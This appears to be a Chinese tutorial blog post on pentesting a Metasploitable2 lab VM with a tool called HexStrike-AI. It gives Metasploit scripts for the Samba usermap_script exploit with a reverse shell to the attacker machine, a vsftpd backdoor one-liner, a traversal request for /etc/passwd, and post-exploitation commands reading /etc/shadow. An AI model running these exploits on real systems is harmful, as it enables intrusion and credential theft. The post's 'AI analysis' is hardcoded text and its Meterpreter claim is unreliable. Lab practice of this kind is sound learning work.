HexStrike-AI人工智能 渗透测试学习(Metasploitable2 192.168.1.4)完整流程总结

一、核心前提

  1. 环境基础:Kali Linux 系统 + 已安装配置好的 hexstrike-ai-master(含 Python 3.8+ 虚拟环境 hexstrike-env、依赖包);
  2. 目标靶机:Metasploitable2(IP:192.168.1.4,合法授权学习靶机,禁止用于非授权设备);
  3. 工具依赖:nmap(端口扫描)、msfconsole(漏洞利用),需提前安装(apt install nmap metasploit-framework -y);
  4. 网络要求:Kali 与靶机 192.168.1.4 互通(ping 192.168.1.4 能通),关闭 Kali 防火墙(ufw disable)。

二、完整操作流程(从启动到后渗透)

阶段 1:启动 HexStrike-AI 核心环境(无需客户端,稳定版)

1. 进入工具目录 + 激活虚拟环境

打开 Kali 终端,执行以下命令(确保路径正确,基于之前的目录结构):

bash

运行

复制代码
# 进入 hexstrike-ai-master 安装目录(默认在 root 家目录)
cd ~/hexstrike-ai-master
# 激活之前创建的虚拟环境(激活后命令行前缀显示 (hexstrike-env))
source hexstrike-env/bin/activate
2. 验证环境(可选,避免依赖问题)

激活后可执行 pip list,确认已安装 nmap 相关依赖;若提示工具缺失,执行 apt install 工具名(如 apt install nmap)。

阶段 2:信息收集(HexStrike-AI 核心逻辑:AI 解析指令 + 调用 nmap)

1. 创建扫描脚本(复刻 HexStrike-AI 扫描功能)

hexstrike-ai-master 目录下新建脚本,执行:

bash

运行

复制代码
nano hexstrike_scan.py
2. 粘贴扫描脚本代码(含 AI 结果分析)

python

运行

复制代码
import subprocess
import json
import sys

def hexstrike_ai_scan(target_ip):
    print(f"=== HexStrike AI 渗透测试学习 - 目标:{target_ip} ===")
    print("1. AI指令解析完成,开始执行信息收集...")
    
    # 核心扫描命令:端口扫描(1-1000常用端口)+ 服务版本识别 + 跳过主机存活检测(避免靶机禁ping)
    nmap_cmd = f"nmap -sV -T4 -Pn -p 1-1000 {target_ip}"
    try:
        print(f"\n2. 执行端口扫描命令:{nmap_cmd}")
        scan_result = subprocess.check_output(
            nmap_cmd, shell=True, stderr=subprocess.STDOUT, encoding="utf-8"
        )
        
        # AI 格式化分析结果(HexStrike 核心功能之一)
        print("\n3. HexStrike AI 分析结果:")
        print("="*50)
        print(scan_result)
        print("="*50)
        print("\n【AI总结】Metasploitable2靶机常见可利用点(供学习):")
        print("- 21端口(vsftpd 2.3.4):存在后门漏洞(CVE-2011-2523)")
        print("- 22端口(OpenSSH 4.7p1):版本较旧,可能存在弱口令")
        print("- 80端口(Apache 2.2.8):可能存在目录遍历、文件包含漏洞")
        print("- 139/445端口(Samba 3.X):存在命令执行漏洞(CVE-2007-2447)")
        print("- 512/513/514端口:可能存在rlogin登录漏洞")
        
    except subprocess.CalledProcessError as e:
        print(f"扫描出错:{e.output}")
    except Exception as e:
        print(f"程序异常:{str(e)}")

if __name__ == "__main__":
    target_ip = "192.168.1.4"  # 固定目标靶机IP
    hexstrike_ai_scan(target_ip)
3. 保存并运行扫描脚本
  • Ctrl+X → 输入 Y → 回车保存;

  • 执行脚本: bash

    运行

    复制代码
    python3 hexstrike_scan.py
4. 扫描结果关键信息提取(复习重点)
  • 开放端口及服务:21 (vsftpd 2.3.4)、22 (OpenSSH)、80 (Apache)、139/445 (Samba)、512-514 等;
  • 可利用漏洞:Samba(CVE-2007-2447)、vsftpd 后门(CVE-2011-2523)、Apache 目录遍历;
  • 靶机信息:MAC 地址(VMware 虚拟机)、系统(Unix/Linux)。

阶段 3:漏洞利用(从易到难,优先高成功率漏洞)

3.1 利用 Samba 漏洞(CVE-2007-2447)getshell(最易成功)
步骤 1:创建漏洞利用脚本

bash

运行

复制代码
nano hexstrike_exploit_samba.py
步骤 2:粘贴脚本代码(调用 Metasploit,复刻 HexStrike-AI 攻击逻辑)

python

运行

复制代码
import subprocess

def exploit_samba(target_ip, kali_ip):
    print(f"=== HexStrike AI 漏洞利用 - Samba (CVE-2007-2447) - 目标:{target_ip} ===")
    print("1. AI分析:Samba 3.X 存在命令执行漏洞,调用 Metasploit 框架攻击")
    
    # Metasploit 攻击脚本(HexStrike-AI 会自动生成的核心逻辑)
    msf_script = f"""
    use exploit/multi/samba/usermap_script  # 选择对应漏洞模块
    set RHOSTS {target_ip}                 # 靶机IP
    set PAYLOAD cmd/unix/reverse            # 反向连接 payload(靶机主动连Kali)
    set LHOST {kali_ip}                    # Kali 本机IP(靶机能访问的地址)
    set LPORT 4444                         # 监听端口(可自定义,如8888)
    run                                    # 执行攻击
    """
    
    # 写入 Metasploit 脚本文件
    with open("msf_samba.rc", "w") as f:
        f.write(msf_script.strip())
    
    # 执行攻击(调用 msfconsole 运行脚本)
    try:
        print(f"2. 开始攻击,监听端口:{kali_ip}:4444")
        result = subprocess.check_output(
            "msfconsole -r msf_samba.rc", shell=True, stderr=subprocess.STDOUT, encoding="utf-8"
        )
        print("\n3. 攻击结果:")
        print("="*50)
        print(result)
        print("="*50)
        print("【成功标志】出现 'Meterpreter session 1 opened' 即获取 shell")
    except Exception as e:
        print(f"攻击失败:{str(e)}")
        print("【排查方向】1. Kali与靶机互通 2. LHOST填对 3. 4444端口未被占用")

if __name__ == "__main__":
    target_ip = "192.168.1.4"  # 靶机IP
    kali_ip = "192.168.1.X"    # 替换为你的Kali IP(用 ifconfig 查看 eth0 的 inet 地址)
    exploit_samba(target_ip, kali_ip)
步骤 3:修改关键参数 + 保存运行
  • 必须替换 kali_ip = "192.168.1.X" 为实际 Kali IP(例:192.168.1.3);

  • 保存:Ctrl+X → Y → 回车

  • 运行脚本: bash

    运行

    复制代码
    python3 hexstrike_exploit_samba.py
步骤 4:攻击成功后操作
  • 若出现 Meterpreter session 1 opened,直接在当前终端输入 shell 命令(如 whoamils);
  • 若失败,执行 netstat -tuln | grep 4444 检查端口是否被占用,换端口(如 8888)重新运行。
3.2 利用 vsftpd 2.3.4 后门漏洞(快速 getshell)

无需脚本,直接在终端执行(HexStrike-AI 底层命令):

bash

运行

复制代码
# 调用 Metasploit 快速攻击 vsftpd 2.3.4 后门
msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS 192.168.1.4; run"
  • 成功标志:直接进入靶机 shell,可执行 whoami 验证(默认 root 权限);
  • 漏洞原理:vsftpd 2.3.4 输入 :) 会触发后门,创建管理员权限 shell。
3.3 验证 Apache 目录遍历漏洞(80 端口)

直接执行 curl 命令(HexStrike-AI 调用的验证逻辑):

bash

运行

复制代码
# 利用目录遍历读取靶机 /etc/passwd 文件(用户列表)
curl http://192.168.1.4/../../../../etc/passwd
  • 成功标志:返回靶机的用户信息(如 root:x:0:0:root:/root:/bin/bash);
  • 漏洞原因:Apache 配置不当,未限制目录访问范围。

阶段 4:后渗透学习(getshell 后核心操作)

1. 基础信息收集

bash

运行

复制代码
whoami          # 查看当前用户(Metasploitable2 默认 root 权限)
hostname        # 查看靶机主机名
uname -a        # 查看靶机内核版本(用于提权漏洞查找,如脏牛漏洞)
ls /root        # 查看 root 目录文件(敏感信息)
cat /etc/passwd # 查看所有用户列表
cat /etc/shadow # 查看用户密码哈希(可用于 John 破解学习)
2. 网络与进程信息

bash

运行

复制代码
netstat -antp   # 查看靶机开放端口、连接状态、关联进程
ps aux          # 查看靶机所有运行进程
ifconfig        # 查看靶机网络配置(是否有其他网段)
3. 敏感文件查找

bash

运行

复制代码
find / -name "*.conf"  # 查找配置文件(如数据库、服务配置)
find / -perm -4000     # 查找 SUID 权限文件(提权常用)

阶段 5:收尾操作(避免靶机残留)

  1. 退出靶机 shell:执行 exit(或 Ctrl+D);

  2. 关闭 HexStrike 虚拟环境:执行 deactivate

  3. 清理临时文件(可选): bash

    运行

    复制代码
    cd ~/hexstrike-ai-master
    rm -f msf_samba.rc  # 删除 Metasploit 脚本

三、关键原理与 HexStrike-AI 核心逻辑(复习重点)

  1. HexStrike-AI 本质:AI 自然语言解析 + 自动化调用安全工具(nmap/msfconsole/curl),无需手动写命令;
  2. 渗透测试核心流程:信息收集(nmap)→ 漏洞分析(AI 识别版本漏洞)→ 漏洞利用(msf)→ 后渗透(权限维持/信息窃取)
  3. 常用工具作用:
    • nmap:端口扫描 + 服务版本识别(渗透第一步,必须先做);
    • msfconsole:漏洞利用框架(集成大量 exp,适合新手学习);
    • curl:验证 Web 漏洞(如目录遍历、文件包含)。

四、常见问题排查(复习必记)

  1. 扫描失败(nmap 无结果):
    • 检查靶机是否开机、IP 是否正确(ping 192.168.1.4);
    • 关闭 Kali 防火墙(ufw disable);
  2. 攻击失败(无 Meterpreter 会话):
    • LHOST 填错:必须是靶机能访问的 Kali IP(不是 127.0.0.1);
    • 端口被占用:换 LPORT(如 8888),执行 kill -9 $(lsof -t -i:4444) 关闭占用进程;
    • 靶机防火墙:Metasploitable2 默认无防火墙,无需担心;
  3. 工具未找到(如 msfconsole: command not found):
    • 执行 apt install metasploit-framework -y 重新安装;
  4. 虚拟环境激活失败:
    • 确认路径正确:cd ~/hexstrike-ai-master

    • 重新创建虚拟环境(若损坏): bash

      运行

      复制代码
      python3 -m venv hexstrike-env
      source hexstrike-env/bin/activate

五、合规与安全提醒(必须牢记)

  1. 所有操作仅允许在 自己合法拥有的 Metasploitable2 靶机 执行,未经授权测试他人设备属于违法行为;
  2. 学习目的:掌握渗透测试流程与漏洞原理,而非攻击他人;
  3. 生产环境注意:禁止用 HexStrike-AI 或 Metasploit 扫描 / 攻击公网设备,需遵守《网络安全法》。

六、重复操作简化技巧(复习高效用)

  1. 整合启动脚本:将 "激活环境 + 扫描 + 攻击" 整合为一键脚本(nano hexstrike_all.sh),内容如下:

    bash

    运行

    复制代码
    #!/bin/bash
    cd ~/hexstrike-ai-master
    source hexstrike-env/bin/activate
    echo "=== 开始信息收集 ==="
    python3 hexstrike_scan.py
    echo -e "\n=== 开始 Samba 漏洞攻击 ==="
    python3 hexstrike_exploit_samba.py

    赋予执行权限:chmod +x hexstrike_all.sh,后续直接运行:./hexstrike_all.sh

  2. 记录 Kali IP:将 kali_ip 固定(如在路由器绑定静态 IP),避免每次修改脚本;

  3. 保存常用命令:将 msf 攻击命令、后渗透命令整理到记事本,重复使用时直接复制。

相关推荐
西岸行者2 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
欧云服务器2 天前
怎么让脚本命令可以同时在centos、debian、ubuntu执行?
ubuntu·centos·debian
智渊AI2 天前
Ubuntu 20.04/22.04 下通过 NVM 安装 Node.js 22(LTS 稳定版)
ubuntu·node.js·vim
悠哉悠哉愿意2 天前
【单片机学习笔记】串口、超声波、NE555的同时使用
笔记·单片机·学习
别催小唐敲代码3 天前
嵌入式学习路线
学习
毛小茛3 天前
计算机系统概论——校验码
学习
babe小鑫3 天前
大专经济信息管理专业学习数据分析的必要性
学习·数据挖掘·数据分析
winfreedoms3 天前
ROS2知识大白话
笔记·学习·ros2
在这habit之下3 天前
Linux Virtual Server(LVS)学习总结
linux·学习·lvs
我想我不够好。3 天前
2026.2.25监控学习
学习